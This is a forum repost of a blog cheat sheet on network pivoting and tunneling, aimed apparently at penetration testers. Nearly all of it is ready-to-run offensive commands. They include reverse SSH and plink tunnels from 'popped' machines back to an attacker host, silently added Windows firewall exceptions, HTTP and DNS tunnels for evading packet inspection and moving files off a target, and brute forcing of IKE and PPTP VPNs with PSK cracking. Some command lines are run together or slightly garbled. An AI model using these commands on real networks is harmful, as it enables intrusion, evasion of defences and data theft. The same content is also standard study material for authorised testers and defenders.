Jump to content
Nytro

Network Pivoting and Tunneling Guide

Recommended Posts

Posted

Network Pivoting and Tunneling Guide

This is for pure educational & informational purpose. Only use these techniques where allowed or you have permission to do so. Power...

 

Written by Sajal JainOct 22 · 2 min read 
3193343549_e869a72e52_w.jpg

This is for pure educational & informational purpose. Only use these techniques where allowed or you have permission to do so. Power comes with great responsibility.

  • Port Forwarding – accept traffic on a given IP address and port and redirect it to a different IP address and port
apt-get install rinetd
cat /etc/rinetd.conf # bindadress bindport connectaddress connectport w.x.y.z 53 a.b.c.d 80
  • SSH Local Port Forwarding: supports bi-directional communication channels
ssh <gateway> -L <local port to listen>:<remote host>:<remote port>
  • SSH Remote Port Forwarding: Suitable for popping a remote shell on an internal non routable network
ssh <gateway> -R <remote port to bind>:<local host>:<local port>
  • SSH Dynamic Port Forwarding: create a SOCKS4 proxy on our local attacking box to tunnel ALL incoming traffic to ANY host in the DMZ network on ANY PORT
ssh -D <local proxy port> -p <remote port> <target>
  • Proxychains – Perform Nmap scan within a DMZ from an external computer
    • Create a reverse SSH tunnel from the Popped machine on: 2222
ssh -f -N -T -R22222:localhost:22 yourpublichost.example.com ssh -f -N -R 2222:<local host>:22 root@<remote host>
    • Create a Dynamic application-level port forward on 8080 thru 2222
ssh -f -N -D &lt;local host>:8080 -p 2222 hax0r@<remote host>
    • Leverage the SSH SOCKS server to perform Nmap scan on the network using proxy chains
proxychains nmap --top-ports=20 -sT -Pn $ip/24
  • HTTP Tunneling nc -vvn
$ip 8888
  • Traffic Encapsulation – Bypassing deep packet inspection
    • HTTP tunnel
      On the server-side:
sudo hts -F <server ip addr>:<port of your app> 80
    • On the client-side:
sudo htc -P <my proxy.com:proxy port> -F <port of your app> <server ip addr>:80 stunnel

 

  • Tunnel Remote Desktop (RDP) from a Popped Windows machine to your network
    • Tunnel on port 22
plink -l root -pw pass -R 3389:<localhost>:3389 <remote host>
    • Port 22 blocked? Try port 80? or 443?
plink -l root -pw 23847sd98sdf987sf98732 -R 3389:<local host>:3389 <remote host> -P80
  • Tunnel Remote Desktop (RDP) from a Popped Windows using HTTP Tunnel (bypass deep packet inspection)
    • Windows machine add required firewall rules without prompting the user
netsh advfirewall firewall add rule name="httptunnel_client" dir=in action=allow program="httptunnel_client.exe" enable=yes
netsh advfirewall firewall add rule name="3000" dir=in action=allow protocol=TCP localport=3000
netsh advfirewall firewall add rule name="1080" dir=in action=allow protocol=TCP localport=1080
netsh advfirewall firewall add rule name="1079" dir=in action=allow protocol=TCP localport=1079
    • Start the http tunnel client
      • httptunnel_client.exe
    • Create HTTP reverse shell by connecting to localhost port 3000
      • plink -l root -pw 23847sd98sdf987sf98732 -R 3389:<local host>:3389 <remote host> -P 3000
  • VLAN Hopping
  • VPN Overtaking
    • Identify VPN servers:
      ./udp-protocol-scanner.pl -p ike $ip
    • Scan a range for VPN servers:
      ./udp-protocol-scanner.pl -p ike -f ip.txt
    • Use IKEForce to enumerate or dictionary attack VPN servers: pip install pyip git clone https://github.com/SpiderLabs/ikeforce.git
    • Perform IKE VPN enumeration with IKEForce: ./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic
    • Bruteforce IKE VPN using IKEForce: ./ikeforce.py TARGET-IP -b -i groupid -u dan -k psk123 -w passwords.txt -s 1 
    • Use ike-scan to capture the PSK hash:
ike-scan 
ike-scan TARGET-IP 
ike-scan -A TARGET-IP 
ike-scan -A TARGET-IP --id=myid -P TARGET-IP-key 
ike-scan –M –A –n example\_group -P hash-file.txt TARGET-IP 
Use psk-crack to crack the PSK hash:
psk-crack hash-file.txt 
pskcrack psk-crack -b 5 TARGET-IPkey 
psk-crack -b 5 --charset="01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 192-168-207-134key 
psk-crack -d /path/to/dictionary-file TARGET-IP-key
  • PPTP Overtaking
    • Identifying PPTP, it listens on TCP: 1723
      NMAP PPTP Fingerprint: nmap –Pn -sV -p 1723 TARGET(S) 
    • PPTP Dictionary Attack thc-pptp-bruter -u hansolo -W -w /usr/share/wordlists/nmap.lst
  • Port Forwarding/Redirection
  • PuTTY Link tunnel – SSH Tunneling
    • Forward remote port to local address: plink.exe -P 22 -l root -pw "1337" -R 445:<local host>:445 <remote host>
  • SSH Pivoting
    • SSH pivoting from one network to another: ssh -D <local host>:1010 -p 22 user@<remote host>
  • DNS Tunneling
    • dnscat2 supports “download” and “upload” commands for getting iles (data and programs) to and from the target machine.
    • Attacking Machine Installation: apt-get update apt-get -y install ruby-dev git make g++ gem install bundler git clone https://github.com/iagox86/dnscat2.git cd dnscat2/server bundle install
    • Run dnscat2: ruby ./dnscat2.rb dnscat2> New session established: 1422 dnscat2> session -i 1422

 

DISCLAIMER: Everything is gathered from different web-resources. Parts of the above writeup belong to unknown authors.

 
Written by Sajal Jain

Cyber Security Enthusiast | OSCP | CEH | CHFI | CNSS | Masters of IT (Major: IT Security) & Masters of IT Management from the University of Sydney.

 

Sursa: https://catharsis.net.au/blog/network-pivoting-and-tunneling-guide/

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...